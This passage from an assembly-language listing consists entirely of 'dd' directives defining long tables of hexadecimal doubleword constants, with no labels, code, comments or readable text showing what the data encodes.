		dd 0C891CFh, 0C97A0AE9h, 710BB849h, 0EC13C281h,	60DC58C4h
		dd 1D4F6B81h, 0C62C707Ah, 0A405CBE2h, 6497DE82h, 8FAA8440h
		dd 899268h, 8C847808h, 3A558E45h, 5979B00h, 602A566Dh
		dd 0AC850BBFh, 0BA001B01h, 0CE615C55h, 30A4B00h, 14BF92DCh
		dd 2CB6EC8Fh, 17C6FC0h,	753082B8h, 22428F9h, 0D748AD62h
		dd 0C0BC9253h, 0F7BA64h, 0FF897A67h, 4E55AE0h, 41040095h
		dd 3FEBDCEDh, 37D814A2h, 0E30F3100h, 0D4A42D6Ah, 281DC509h
		dd 80358FA9h, 0C7B423EAh, 4E9E00C8h, 6EDF9C9h, 2B0F2A29h
		dd 0E0C06C35h, 0AC32877h, 0D21B0066h, 0B326B0BBh, 0A1024B6Fh
		dd 0A22DB698h, 0EA9C8079h, 37C091h, 9D2A0E61h, 0B53EBE95h
		dd 780EE092h, 20FA732Bh, 5ADAAE46h, 349B266Dh, 22648050h
		dd 42EB755Fh, 3D99F09h,	80F888AAh, 33F6DF00h, 557EBEh
		dd 614E019h, 502AC36Fh,	0A1F08000h, 5ED6DF7Ch, 4C50035h
		dd 9AF141D8h, 16FCCB3Ch, 905860C1h, 6CF0DC54h, 5FFC0FCAh
		dd 0BF009B87h, 7353CE88h, 0AC4CF59h, 0F4DF126Dh, 715F5D83h
		dd 1B08BEEFh, 18EC8FC3h, 0C0E037FBh, 9A0B35A4h,	83BEFF12h
		dd 0C06165A1h, 7BFB5736h, 0F02098D7h, 18DAEAFAh, 59DCC715h
		dd 5D3BF121h, 19E480C4h, 710F75C1h, 9F0900E8h, 958C2416h
		dd 9C00E784h, 23C13A5Fh, 0AAF6D4Dh, 1E0EB2A2h, 3CE33B4h
		dd 0DAB871E3h, 4B00D634h, 0AA8293A8h, 445AFDh, 0B1583EAEh
		dd 9EECFE9Ah, 59573A00h, 1A2B6CC6h, 3B6902BBh, 2E16BE0Ah
		dd 1DD14760h, 4A0026F6h, 0C429E207h, 158D8C5h, 41F5184Dh
		dd 0FCB9FAF8h, 6039C0DEh, 19CF8081h, 0C831B8DDh, 0E98907CDh
		dd 50D04358h, 6D63C11h,	1C42F63Bh, 6C8385D8h, 0E0C94F38h
		dd 0A304F516h, 3993A899h, 0CA035C2Ah, 0ED3C1Ch,	85F82365h
		dd 822A24E4h, 5506E01Dh, 11CDE78Ah, 46D5211h, 199A7B0Ch
		dd 5E001510h, 32BAC5F0h, 5BB08E2Ah, 0C0CC1F5Ch,	83D5FC35h
		dd 1FB8EDBEh, 90A83800h, 244C611Ah, 78572AEh, 0F9777C35h
		dd 0A2D1D044h, 7B89725h, 0CDDF3Ch, 50EE2347h, 917D8D4h
		dd 965BB38Fh, 0AF157400h, 6470F041h, 0B8933C00h, 82253A6Bh
		dd 0D565004Eh, 2A204FF5h, 271FEC99h, 538094A8h,	0F340FD7Dh
		dd 13650143h, 0DBDDF6EFh, 0F950C0D6h, 97C0680Fh, 27DEC0E6h
		dd 375FBCh, 0CB113E3h, 9093E94Ch, 50B0AC98h, 0DE049104h
		dd 8C84922Fh, 0C60140ACh, 8633C0C2h, 89498096h,	0FD9F1952h
		dd 510903E2h, 7FA4F17Dh, 6210D9F0h, 0E803B000h,	3A5EFFB3h
		dd 1935BD7h, 0BE7607CCh, 0DFA6FC12h, 2D004873h,	35C820C0h
		dd 0B3DEDAh, 5792B76Ch,	4621663Bh, 0D763CEAh, 0B2C9E913h
		dd 3E3A0A00h, 0ECACF14Eh, 2A10FC6Bh, 74E0F02Eh,	114B686h
		dd 0EAACD653h, 0CA8EDCFCh, 0A1C67F00h, 5A2216C3h, 9F66008Fh
		dd 10983DCDh, 79B83542h, 0D5C3761Ch, 7044D444h,	1E6DDCA0h
		dd 47057567h, 0C709D830h, 0C55C9121h, 0EB228023h, 50DEC79Dh
		dd 0E171C0DBh, 25610AD9h, 69346700h, 194FC6F3h,	1CD0FDD2h
		dd 0A85A097Ah, 0D0A0C2E9h, 0A6CBEFB1h, 8AFB2E28h, 1938F700h
		dd 0EEFFE335h, 0D60B002Ah, 4BFA9EAEh, 5403A9A5h, 0E22907E9h
		dd 89BCD820h, 0BF6D0059h, 2A866472h, 5D001D43h,	6F5774F6h
		dd 38680Fh, 0C5E3F0C8h,	24D94078h, 0A300209Ah, 45F78C52h
		dd 74BC23h, 781E3909h, 0CB7E7FDCh, 0F1A2E700h, 2E701225h
		dd 0FA9E09Eh, 0AF275A68h, 0E046E567h, 90603441h, 0FB025577h
		dd 64D97499h, 0F717E0C0h, 879B00D3h, 0D1BAC8B7h, 0A317358Ch
		dd 0D71C8BB0h, 0DCC1F9C0h, 8112F3h, 46897D29h, 1DD33A7h
		dd 216EC61Ch, 8E7C780h,	30954767h, 638887EDh, 0EE1D5EF4h
		dd 36C02C8Bh, 40AF0CCFh, 201800F7h, 0E92F2DA0h,	46006F47h
		dd 928131CBh, 0E0C40830h, 0FC227157h, 0C9C30039h, 0C16AF8Eh
		dd 58075DB7h, 6D8C8275h, 972EB580h, 98D207F4h, 0E0EF9E6Ch
		dd 92634262h, 3E60E901h, 57AFBCF0h, 0A8D067DDh,	28B1CEC1h
		dd 52B44A81h, 0C7180DEh
		dd 8A627027h, 3A580041h, 0E4B65AFCh, 84608E81h,	5458681h
		dd 658C0051h, 5A4E6757h, 1C00F53Fh, 0E666E9Bh, 0F109ECAh
		dd 0E5AAD539h, 56E07E80h, 0B371A3E3h, 0DEEBAD00h, 60DCFEEAh
		dd 1DCE0178h, 746E0134h, 0B663F456h, 0EBFA9700h, 0ADE6ACC7h
		dd 6C771EB5h, 0EE9FC0FFh, 1BB6B0E8h, 14CAA01Fh,	578186BDh
		dd 0F30EAB8h, 0DBA10E29h, 536EEEA0h, 3C00E85Ch,	0CE287C0h
		dd 38A94B9Dh, 7060E340h, 9358C521h, 0AC1C031Fh,	9AEC740h
		dd 0BA53DDh, 0A48B91DCh, 22E62A45h, 34C66E0Eh, 1793E1FFh
		dd 5B209656h, 0F5F98CAh, 0A1AC213Fh, 75D4F640h,	710BBCE9h
		dd 0F04FE877h, 5BB80066h, 0B04BF035h, 0AB00CE3Dh, 14DC65D3h
		dd 8C78F2h, 0A6E1D272h,	45BE8732h, 654B0300h, 81136447h
		dd 26F018CBh, 0C69FFE31h, 5FBAAC00h, 54044838h,	0EBF4004Ah
		dd 5C9BBBF6h, 4D124EBEh, 4C40073Ch, 0D7AF9E89h,	9575D8h
		dd 20037A08h, 68BF6A1Fh, 0C55E440Eh, 0E265E28Bh, 0C8EE80CCh
		dd 3E8C16h, 17EADCDBh, 8F82D773h, 4235B406h, 39A057h, 21FBF666h
		dd 2FA530D0h, 160C800h,	52CDEAF0h, 288A6086h, 419F71DEh
		dd 0E9E86300h, 1D0F98E5h, 7A850143h, 81B06B5Bh,	9A482061h
		dd 937DAB06h, 0F2388F57h, 0D39E02B2h, 0BFF7F2B4h, 62A54048h
		dd 0C2B54300h, 7BA991C9h, 0FAE2072Dh, 90351D71h, 6445909Bh
		dd 0FD101705h, 98007343h, 635B6998h, 0C2530080h, 99DD5AEBh
		dd 8005748h, 306FBBDh, 0E6DEC66Ch, 6E5B17F0h, 0EC5F1022h
		dd 56A62500h, 6361445Ch, 220A4E2Eh, 0EB0B1A00h,	6E9626E6h
		dd 16AF28DFh, 555DB620h, 51F4B288h, 70FE0D00h, 5A9F2CD1h
		dd 2DE8ECh, 4D34EA6Eh, 0A3D7134Fh, 456F4604h, 0EE801D3Ah
		dd 0A2782Ch, 0DC6DF48Ch, 951FAD0Bh, 833CF000h, 0CBDBB0B1h
		dd 0B3F6ABh, 0C99ABCD8h, 73232E5Fh, 76777F00h, 0A14B457h
		dd 0DBB8001Eh, 96C18A3Dh, 82006112h, 0DE70755Bh, 0B3D907h
		dd 81ABAC9Eh, 0F97E0DCEh, 80303F39h, 4F6BD3C4h,	1BE2AE2h
		dd 0B8392CCCh, 2A57013Bh, 0D83C2000h, 7747760h,	4A7A05EEh
		dd 0C0CBD078h, 0C10010ACh, 387E0757h, 0C3E9272h, 25FA14BAh
		dd 0CA38EE21h, 6E658080h, 0BD16A798h, 0FC87391Eh, 6D5E2907h
		dd 0ABE7D07Ch, 130F311Bh, 0A0223615h, 2AF2564Bh, 0DA300BDh
		dd 302CA6CEh, 7E0C8FB8h, 31FBC8DAh, 0ABB20756h,	8737D80Dh
		dd 19A4905Eh, 870030AEh, 0F58EBFF8h, 1C7C674Dh,	0EF0A0EECh
		dd 9804F4D4h, 8CD1E903h, 0FE20AB45h, 678800A7h,	56C4577Ah
		dd 3A005295h, 6E78AC16h, 7A324049h, 0CA28001Ah,	9B29B322h
		dd 1C008223h, 0E4DB8E86h, 0C5EDD8h, 0D4BBEEC2h,	359D4C29h
		dd 6B5790C0h, 92FA6Dh, 98F8C995h, 13ED1A5Dh, 0A7037F72h
		dd 0CD9E2F19h, 9F02E097h, 0F085E8C4h, 40210146h, 3EF1412Ah
		dd 1B3CD033h, 1A108250h, 46A01401h, 38E6D2DCh, 93EC0881h
		dd 0F8422673h, 6E000719h, 1B9609DAh, 0CB0DD7h, 2F18EFB4h
		dd 95601A83h, 0DA009FF8h, 41108A9Ch, 0C15170Dh,	0C45EDE14h
		dd 315A8590h, 187FF7B8h, 0A882F184h, 4039D27Fh,	2549CCCh
		dd 0E6230Fh, 5E02786h, 116F00FDh, 0A6741DB9h, 767009E1h
		dd 205A4828h, 3060DE28h, 0C0B44633h, 0EDD1C83Ah, 0DE9F3E38h
		dd 504010D0h, 1701C7Fh,	16EBE1C6h, 709232DFh, 75078883h
		dd 9AC734D6h, 0B0A085A3h, 0D9AAFBh, 0FEC5089h, 0F493EB3Dh
		dd 78138B79h, 0A8006822h, 0FCB49A54h, 33EA002Ch, 3001FE87h
		dd 200031C5h, 4D1918B9h, 722303F9h, 3B6400DDh, 0BF5E5570h
		dd 1500B441h, 0B88BA4E8h, 915BEFh, 70D2BE18h, 0EDB0FBC3h
		dd 74F95D01h, 5EF23ECDh, 186B70h, 0F6DF43DBh, 0B8EBEE82h
		dd 63140800h, 73F709BEh, 0D28101B9h, 7FAE06D5h,	1207F8E9h
		dd 2D4BD900h, 4DDA336Ah, 0AA0200EFh, 0A41F7675h, 9C0056E5h
		dd 97A62D38h, 593C665h,	1CA03282h, 0BD980783h, 76EB90E9h
		dd 7338E1E6h, 0C508E5DEh, 0ADDCA84Ah, 0A69F6800h, 8FA4D4h
		dd 0A3E18719h, 0EF5FE35Bh, 45AE0301h, 7F21D772h, 0C4F1F3D0h
		dd 87246A18h, 8CD8064h,	60929F15h, 3328A500h, 0E4FD1386h
		dd 0C035AF2h, 0C221AD27h, 96333003h, 0B0610EB7h, 22BB9417h
		dd 85039C55h, 7AAE981Fh, 0ED1100C1h, 38E35CF0h,	9E0ED1ECh
		dd 8DD20440h, 9C021F5h,	534F035Ch, 0D00CEB9Dh, 6B7FA2E0h
		dd 0E751A8CFh, 0E06642BFh, 0C57B3310h, 24B00C39h, 91004D5Eh
		dd 0BECDF838h, 80EACB42h, 9B008119h, 30579261h,	0F854DDDh
		dd 7948CDFFh, 0DF2D1EE2h, 9356C980h, 3F3F3224h,	0C960004Bh
		dd 0B44C5D38h, 0D03100C3h, 0D35F5715h, 0D1009D10h, 1A9B482Fh
		dd 6F4701h, 40C952Dh, 0F057E3A2h, 8068F23Dh, 0C8ED9D6Ah
		dd 559051h, 291E1884h, 1B4208B3h, 78FD8700h, 0C9BF6D65h
		dd 0F7FE2437h, 0F66C1498h, 8D550801h, 0DCF0FFACh, 3000F8A5h
		dd 31C2514Eh, 0E14B78h,	0F6A11BDFh, 2843B811h, 0D72B4400h
		dd 0F08DF348h, 5331D9Ch, 0B1934037h, 19347C4Eh,	0EEEEA424h
		dd 2022900Fh, 6D1E84CBh, 0BEF900F6h, 83A9CFD3h,	0A203C6E8h
		dd 2279912Ch, 3C848033h, 0EA800054h, 838E44F1h,	6D076749h
		dd 35E3977Eh, 0B3CB8270h, 794E0B6Fh, 7000F0E7h,	0F822B46Ch
		dd 12D68A00h, 1A180BA0h, 68590031h, 696C4E1Ch, 6E00B374h
		dd 0BD254DE8h, 793B5C8h, 1698C4E3h, 280F8192h, 4863DC4Fh
		dd 210F60Fh, 67D09968h,	80BB044Ah, 0CAAB313Dh, 53B6E2E1h
		dd 8383147Eh, 10007D31h, 4437AD89h, 0F52FB3h, 0F4CDEBAh
		dd 751CA513h, 86588303h, 0F38995E2h, 59292198h,	90A67B08h
		dd 9A3D848Ch, 6A422D48h, 214024A0h, 3112A5E8h, 89A77510h
		dd 84350874h, 441008E9h, 2284C8A2h, 49429F8Ch, 219C9111h
		dd 0A038087Ch, 4784DD90h, 42B0489Fh, 0E1226BD5h, 91EA00BDh
		dd 75003A83h, 1C673B7Eh, 0ECFCE7Dh, 5921E6A5h, 0DAA371C0h
		dd 64E00FD9h, 0AD146E00h, 1EA5FB98h, 137E628h, 0CB2924BCh
		dd 0C8214216h, 0FF007CC2h, 794C6BF2h, 3F6F53h, 14DDA232h
		dd 0F63CB9B3h, 0E6213500h, 10D80266h, 4D4800C2h, 0FD41820Dh
		dd 231DA40Ch, 0E5DF17AAh, 3A223901h, 6DF0BE8Fh,	0A1F62AFCh
		dd 2BE807FCh, 0B33C1A2Fh, 9BF8FFABh, 1B7DD887h,	4839F300h
		dd 0A090F9E0h, 0BB230074h, 0EC97126Fh, 9C007BF6h, 37D75952h
		dd 313B632h, 1C71DFAAh,	3CE823E5h, 0BA00BF48h, 6C858F42h
		dd 921D9105h, 186F0038h, 90BCE520h, 0CB00876Eh,	4B16EF49h
		dd 36FE86h, 934135DFh, 31E4AC54h, 7C4620Fh, 0D159A71Bh
		dd 0ECB085F0h, 164E00A4h, 242A9CA6h, 2BFCAB30h,	0F205DA1Fh
		dd 74B2D41h, 0AAE0B759h, 0AC6900C4h, 51A8C91Dh,	0CC004D7Ch
		dd 0D0C8972Eh, 9D5745h,	0A4399896h, 0F2A949EDh,	0CEA8200h
		dd 15B7E3FBh, 0F4E10064h, 0A6DBFEA5h, 292C3B55h, 0C30E3691h
		dd 3D85C004h, 0C259A24h, 4B794A54h, 173928E8h, 0A8A19452h
		dd 2A56009Fh, 20D2399Fh, 44C70035h, 0AD607A6Fh,	6200EBC9h
		dd 0EE4AFEA7h, 0D47F23h, 7AF4BDC2h, 449D685Ah, 6A0025E0h
		dd 9739A578h, 0F9837Fh,	0B0265F59h, 3D9A81Fh, 0EB1A8B00h
		dd 2B957BD7h, 55D302E4h, 3673BC80h, 218EC90h, 0E2B33100h
		dd 795335AEh, 0A3CC001Dh, 0F3A93E93h, 2004EC9h,	0A1FF19A5h
		dd 1CBA2A75h, 80DC6270h, 0F3C6B35h, 0E300B87Eh,	4DE1CED4h
		dd 309FE6FEh, 0DF11197Dh, 3A1E8FF0h, 26403FA2h,	64BEC47Ah
		dd 3D0090B4h
		dd 5C00C702h, 3846735Eh, 0CB009605h, 7DF8A3B8h,	0E4279AFAh
		dd 6592409Fh, 6ADC800h,	0F33B4B68h, 9D890F31h, 20786BCFh
		dd 42095085h, 81AE0FEFh, 4EF4C82Ah, 13C0BE21h, 3F6800BBh
		dd 87ED3DCDh, 54000383h, 32A425E7h, 15A54Eh, 9660206h
		dd 6E76530Dh, 0DCAD3401h, 260143C0h, 1E939570h,	4EABC452h
		dd 1F370F40h, 9708059h,	16F415D5h, 1A419E07h, 8D70DCA8h
		dd 81114Dh, 0EE3266E2h,	178A5BC9h, 9E47AC00h, 3A875C38h
		dd 6CD01F24h, 81003A57h, 1FA39BE6h, 5F09309Ah, 150E5B7h
		dd 0B2F74820h, 7C1CCh, 8A76DB03h, 0FFF1597Fh, 64ED1607h
		dd 0CE00DA4Fh, 3AC302A9h, 4E841DC0h, 0D0349F3Eh, 893ADA18h
		dd 0A0A4BD00h, 0A31ECA01h, 0DFF70039h, 5B53C663h, 6E093EC5h
		dd 945D83h, 6F8DC9CCh, 0F0DE3DCAh, 81EF100h, 240207F8h
		dd 1F238B02h, 808F6186h, 4D5D5CC8h, 0F14209C8h,	0C0F06A4h
		dd 2B8E53E0h, 0FC01ABD8h, 0A9BAF4C9h, 40FCF694h, 2AB8071Fh
		dd 511C2D07h, 0C4A199B7h, 3203AE5Ch, 13CFC0E4h,	0A803A358h
		dd 0A8994C2h, 0A798DAD1h, 35F703C4h, 0A4C01460h, 203E4763h
		dd 1FC10085h, 0F7415345h, 16B57C5Ch, 94049Bh, 8635696Ch
		dd 1F0C1DE5h, 0B88D6087h, 3FE425h, 14EA27CBh, 0B1A6BEB2h
		dd 230A4Ch, 26A81DEFh, 0E4C0DF34h, 10E80A43h, 16F0F2D6h
		dd 220D026Ch, 6C4042C1h, 0B140B2F3h, 6218003Fh,	2E7C2BCDh
		dd 3E019876h, 7A53F90Bh, 983070B8h, 0ADEF0696h,	0A8743D0Ch
		dd 92762D10h, 0D1850705h, 9BFC0056h, 1B548B63h,	91C3C700h
		dd 3149C0DDh, 6FDE005Bh, 4C1E6BA1h, 64161CEDh, 0CD004133h
		dd 448EC385h, 0A1C50023h, 0A92CC9F0h, 9700D073h, 0BA7FA52h
		dd 0EC450C55h, 0AF2079Bh, 11EE7B54h, 0D8D06841h, 0BD1DF459h
		dd 0B4C051DAh, 72C65FC4h, 0CEEB0385h, 0C7F81444h, 82D2A5D8h
		dd 689A4900h, 3B7ADDCFh, 1743008Ch, 1D0D55B2h, 0F0089DAh
		dd 256C6701h, 0E27A606h, 5D49D0C0h, 0B9E59900h,	0E90A80A3h
		dd 8072D4F3h, 0EECD7403h, 65A0F8D2h, 0CA46004Ah, 38969FF5h
		dd 5F2CEC7Fh, 7A008D5Dh, 0C65674A7h, 7CED00A2h,	3082B535h
		dd 14005B37h, 4A835FB0h, 7E5592h, 0D1C6A965h, 390CA6FFh
		dd 18954Ch, 74BD382Fh, 7378D3B6h, 0C0BC046Ah, 0C0C6407Ah
		dd 6E6503F2h, 8C4548h, 0B8880687h, 156F29h, 22AAB28Fh
		dd 0D19E48F7h, 0D7845000h, 5BB41058h, 0B88007Fh, 2E9C8B6Bh
		dd 0CE1E24E5h, 1B4FA052h, 0FF65C037h, 167B4426h, 9B13DFh
		dd 0D0C66F5Fh, 32B007A3h, 33223Fh, 87E1A665h, 3AD68Eh
		dd 1C7858B1h, 20800B82h, 5184BF07h, 31E1B847h, 1882F97Ch
		dd 55AE2EA0h, 0DD043B60h, 91846803h, 0CF6FDCDAh, 749A1841h
		dd 0B750FCh, 80C92383h,	0E97B98B8h, 0DAB54800h,	0A1A63687h
		dd 170914ABh, 0E72A903h, 0E97D227Ah, 50809A20h,	3C00123Ah
		dd 8F73CD28h, 70774D04h, 4F51244Ah, 0BFB0075Ch,	403531CAh
		dd 96F03F7Bh, 1B3F0017h, 0D42F4D28h, 0C8003277h, 0FD9A3136h
		dd 215648h, 4DD7A668h, 0D26D25EAh, 0EC057CB2h, 0DC0299F8h
		dd 0F73F7880h, 59FA0010h, 0FB792461h, 67003542h, 1831DE9Eh
		dd 0DBF81h, 998ADFB2h, 7EBCFA3Eh, 2B9860Ah, 4507ECC5h
		dd 8E80A925h, 1155D26h,	0A923BB2h, 0DCF9A1B6h, 4B02F5CEh
		dd 78C59E5Eh, 8CF080F7h, 286F9Fh, 5CE88E6Ch, 0E761D8A2h
		dd 0DC0EFB00h, 0D53CA538h, 0A890FCh, 0C26C42DAh, 1D3EA6E9h
		dd 0DD588E00h, 0A463C3E1h, 0E82A023Ch, 775BEF39h, 6BD052C3h
		dd 0CC019CF8h, 0F670C0E3h, 0C760412Fh, 106200D7h, 7D0374CFh
		dd 370F9517h, 1C57226h,	3D6C308Ah, 0D8407C71h, 0F01F74h
		dd 1D798C7h, 49469127h,	5201FAB0h, 0F32D623Dh, 7BC01D8Ch
		dd 9B143F4Ah, 27707C80h, 0C350F83Fh, 193C260Bh,	0E25C000Ch
		dd 0C711B3h, 0DF5CBA87h, 95560396h, 0A1F67A1Ch,	92E67F01h
		dd 54344909h, 0BC70078h, 5318FD99h, 9A04A62Dh, 1022A9CFh
		dd 1F6CA0h, 0B95ED02Ah,	4E50F572h, 0CF711970h, 2D012498h
		dd 986ACA85h, 0F1E014EDh, 0F8DD50D9h, 0B204B047h, 0B2730014h
		dd 0DFA3D443h, 0B8E42DEEh, 958FBF00h, 12ABC979h, 16A11817h
		dd 3259EE80h, 1DDF8707h, 56D72EBCh, 428EA750h, 40DB0031h
		dd 0B5D05E30h, 0D700BCF4h, 9EEC089Ch, 1A252E3h,	0EADAD992h
		dd 98B6D3CFh, 0B1E87EF4h, 8DC33A5Dh, 0C7891E02h, 0D860DCA4h
		dd 4B886A1Ah, 10B03BBDh, 0DB17C08Ch, 0C09DAA8h,	8097E084h
		dd 1FABC73Ah, 4E4817A7h, 9F83000Eh, 5936A24Bh, 0BFC40D00h
		dd 0D6648116h, 751700D3h, 3FBD091Fh, 0CAE8FCC7h, 38905D90h
		dd 0A91E1000h, 0B6AA7C3h, 57310256h, 5C6BF647h,	0AAC17F60h
		dd 83CA283Eh, 3DF5DCB3h, 42039081h, 0ABFA0087h,	50ED7870h
		dd 0F9000753h, 6BCE06C1h, 0F4888Dh, 4DE6115h, 0DA0BDD7Dh
		dd 0CBB01F03h, 0F956FE77h, 7460B243h, 0EC5D0EBAh, 76A0238Ch
		dd 536CDCF3h, 0F1503700h, 25CEC1A0h, 2C540094h,	4603520Bh
		dd 0AA091FB0h, 4070F9CFh, 9056BE50h, 5DD80058h,	0DE1034BFh
		dd 0A838F5FAh, 4C345C3Bh, 637A0010h, 825A55A7h,	0AC54C0D7h
		dd 8A5610CDh, 69992202h, 0C1920974h, 0E5E43E90h, 0ECEB38EAh
		dd 8849387h, 585A097h, 43606B29h, 0BC58766h, 0F5380198h
		dd 248BB71Bh, 195CD07Ah, 8A143700h, 67FFC448h, 136F3ECDh
		dd 723A7103h, 43E090A2h, 79009356h, 1CA33B3Ch, 10DD5F4h
		dd 3E716058h, 0E8C2B913h, 0C0B02CA1h, 8095703Ah, 1C464D77h
		dd 24149F3Ch, 0D1690Fh,	0E0011913h, 48000ECFh, 0D8C0C87Bh
		dd 2E7C34Ch, 0C95934D5h, 0B887B793h, 244490E2h,	0AF070171h
		dd 2B84E44Ch, 392A9850h, 0B1173DF9h, 0A7D4AC80h, 0F78C6BAAh
		dd 8AF25E2Eh, 957BC800h, 18E35BFh, 44C093A9h, 40113C97h
		dd 0D4018DB8h, 4A40F896h, 0F9E248h, 1E62D57Fh, 728565B6h
		dd 0BA68E100h, 5AFCE8C8h, 6E2800A2h, 55FA50CFh,	0EF77DCD6h
		dd 64904702h, 0E1ACED7Bh, 0F032DE68h, 0B3A25400h, 0A3725849h
		dd 0CDCBF800h, 404DAA24h, 7BEC13A6h, 551440BBh,	0C249AFA4h
		dd 0E0F92300h, 4FAD7038h, 6D8E0031h, 0FF7CEE9Ch, 0C14E626Eh
		dd 48D38C60h, 0C5D50F05h, 0A7E0C802h, 630FF6AEh, 1044103h
		dd 0E29CB7FBh, 0BFEC4057h, 0E7C9884Bh, 0D66E4109h, 0FF950142h
		dd 0C092B084h, 0A91C91C5h, 60A2F919h, 3006B8Dh,	0DCA8C6C3h
		dd 0D8A37h, 22CE3961h, 6DD48B27h, 8456AD09h, 38F2804Ch
		dd 28352A28h, 3AC4910h,	505CFA23h, 6CD0A2F3h, 63005393h
		dd 0B8DB769Bh, 243EC8B1h, 811801F8h, 3ACE610Bh,	0EFA1E025h
		dd 0E4528200h, 21AA0637h, 97DE00A7h, 0A480CF3Eh, 4A001DB0h
		dd 326AFE74h, 1758DAh, 0AB8C8A23h, 8B515748h, 8FD0B400h
		dd 33E37C45h, 0F8C00390h, 17EF726Dh, 0D99C7BE8h, 6755FC00h
		dd 466AC853h, 81233B11h, 16D7F780h, 0E8E09260h,	42C54000h
		dd 0BBB8F6CFh, 92B018h,	443A1C72h, 0AE585EFh, 7A900E03h
		dd 0D1196ED2h, 0B8406B0Dh, 51A8FA0h, 4B102642h,	0D19C4035h
		dd 451DF84Ah, 2EEC403h,	0D04106DAh, 0FE8618EDh,	4EA898D6h
		dd 284047Ch, 1C2080B4h,	0D22CC9E9h, 0F0218B0h, 206BFB27h
		dd 0F9937E6Dh, 0EF704202h, 805BEB0Ch, 20862EC8h, 855D019Eh
		dd 696DE428h, 0A50AECBAh, 97405B00h, 7B5093CEh,	13847167h
		dd 0C8AC3Bh, 0D0CD46DCh, 0C725C1F2h, 1BF801ADh,	0C06CC310h
		dd 489273h, 0D618AF2Fh
		dd 0D2444B0Bh, 20748530h, 0BE01D24h, 55308902h,	0A09AA804h
		dd 0EF00C874h, 8E6D9099h, 1F789F1h, 0D216A745h,	60C5537Dh
		dd 47018094h, 0AFFF64CBh, 0F370DA34h, 0A9690007h, 0DB8FA1C6h
		dd 0E53B2017h, 2E97072Dh, 5CC0C732h, 0F0DDAF33h, 0F0AC053Ch
		dd 0C06A07BBh, 0CC8FD6B2h, 6633Eh, 0A569B457h, 15CBEE5h
		dd 0A0F4C9EAh, 701A5E5Fh, 0EC00CB38h, 0B2417AF2h, 0CDA922h
		dd 0D1D89FEDh, 0D2935504h, 8E7FAA76h, 4B04B498h, 894C660Fh
		dd 9E1FB480h, 0BF5B0534h, 8578FF09h, 6DBC40E2h,	9DAC8593h
		dd 29E31800h, 57075024h, 61BC2779h, 8B01481h, 323180F3h
		dd 47EA7FB8h, 57E100F1h, 0BAF4A8D3h, 96009411h,	4309E71Fh
		dd 7026116h, 0A1E032B6h, 0D772C073h, 0F600DD4Dh, 362C1E95h
		dd 76837D1h, 574AA63Ah,	66AEC09Fh, 0D503F146h, 0D7F34FFEh
		dd 86801E7Dh, 0BD1000E4h, 30D8B396h, 63871800h,	75F53EACh
		dd 0F7ED0442h, 0B03688B8h, 83005C14h, 0CBD94B2Eh, 0F33C9A7h
		dd 825D2AFAh, 0C8E3D0A1h, 89BC3014h, 35D79D02h,	0C8B7A23Bh
		dd 0FBAD6Ch, 60641AC9h,	1DEF10A1h, 8926A339h, 0C136B10Eh
		dd 3830235Ch, 7414007Dh, 0C5C0E3E7h, 0FB008CB6h, 182CA7A2h
		dd 0EE481F3Dh, 529C009Dh, 20737DACh, 0B89CC014h, 0CC36DD01h
		dd 0AC426A11h, 28A0908Ch, 9424E7B4h, 463800F6h,	66D1AE7Fh
		dd 609A7C3Eh, 9929D8F5h, 0CA0BC2FAh, 1A537F1h, 0A206AD04h
		dd 0F500B9F1h, 0C1208DE8h, 819A12B1h, 703C094Ch, 68ECF441h
		dd 0F1D60070h, 73613E08h, 87E81D8Ah, 0A4BE42AFh, 10692819h
		dd 946878h, 55B7974h, 58305192h, 620604F3h, 0C195DD76h
		dd 60BF092Eh, 0E2D2020Ch, 0E6AD0958h, 6A001817h, 15290E4Ch
		dd 5AEBC09h, 61F88759h,	8D925A20h, 265400E3h, 0B9DCCB67h
		dd 0D1DE503h, 189F50D1h, 0C5BC803Bh, 0A3BEE880h, 0EED500CFh
		dd 415183EFh, 33673515h, 0AB40B318h, 3BB8D0C1h,	9600B10Ah
		dd 542FFE3h, 0F8009E06h, 80A34A84h, 76D27FCCh, 34B64869h
		dd 14993200h, 97517BD4h, 3BECF4E6h, 0F96A1F00h,	8DE62AC9h
		dd 0C4DC015Ch, 7C7B9A77h, 0FC2C427h, 42387500h,	5E65EA85h
		dd 703F1F18h, 1520F994h, 23319D04h, 85EA2402h, 0BCA0C0DEh
		dd 0D03722Ah, 51911ACCh, 444980B3h, 0C7D5132Bh,	0E8D20242h
		dd 30F00908h, 0C0EEFA00h, 647AA3D0h, 796100D6h,	0EDDA2D1Eh
		dd 0CE30057Bh, 0AE92C8D5h, 3F8B0763h, 0E00116A1h, 4D21160h
		dd 205177Fh, 0E787E1DFh, 7E4868C6h, 6EAF0088h, 0E85B1422h
		dd 5F0194B2h, 0C47A72AEh, 434921Eh, 0B8EC99E2h,	47F69480h
		dd 0C5EF78A3h, 2A0CAB01h, 2E46FF7Dh, 1718C3ECh,	0FA24A95h
		dd 0E0091E24h, 70909C00h, 2DE46F83h, 0FF0BADF0h, 765455h
		dd 515865B8h, 75F0008Eh, 0E7D99285h, 0C50205A4h, 0FFA8A554h
		dd 247DC0E8h, 0B043005Fh, 0C228AC0h, 0EB01CC5Ah, 6DCAC33h
		dd 0AF8957Ch, 0E83C0070h, 0E7A93053h, 4000637Ah, 4DE55AE4h
		dd 2877F822h, 80874Eh, 0E3D4F9Bh, 8A8CDFB2h, 1D2EF600h
		dd 372FBBC9h, 52640397h, 0E6469B25h, 0EAA2D8E0h, 0BE3CCB3Dh
		dd 27FB8221h, 0C353D987h, 0F6DEE994h, 706166D9h, 0EFD06FC1h
		dd 9A441C16h, 0D8C88224h, 0D4A9C52Fh, 748E5401h, 96FD40Ch
		dd 0C4B68200h, 4134369Dh, 3ECB013h, 7D92ACD6h, 4AD81EFEh
		dd 827E8AC5h, 517E6800h, 0CC795E69h, 0DC6105D1h, 80B325CDh
		dd 27CB93C4h, 2C74C75Bh, 4C7068F2h, 14075C92h, 0CE0589DAh
		dd 0DB580840h, 8CA0C84Eh, 7912E0B4h, 1450D9F9h,	8BAB018Ah
		dd 8E7F55Eh, 2B1900FFh,	66A1F27Bh, 72246B6Fh, 3A081C8Bh
		dd 0D69150h, 0CD8E9A5Eh, 0F106F86h, 0CAFA69FFh,	5F27A8A2h
		dd 75417860h, 0B8607A00h, 6A652EF0h, 38A7C07h, 0D743478h
		dd 0B9A81627h, 0E2894F9h, 9F00F4D7h, 0F645A51Fh, 0ADB22Ah
		dd 0F8B8758Ch, 0B7276258h, 0FBEC2C00h, 3020A44Ch, 7B5900ABh
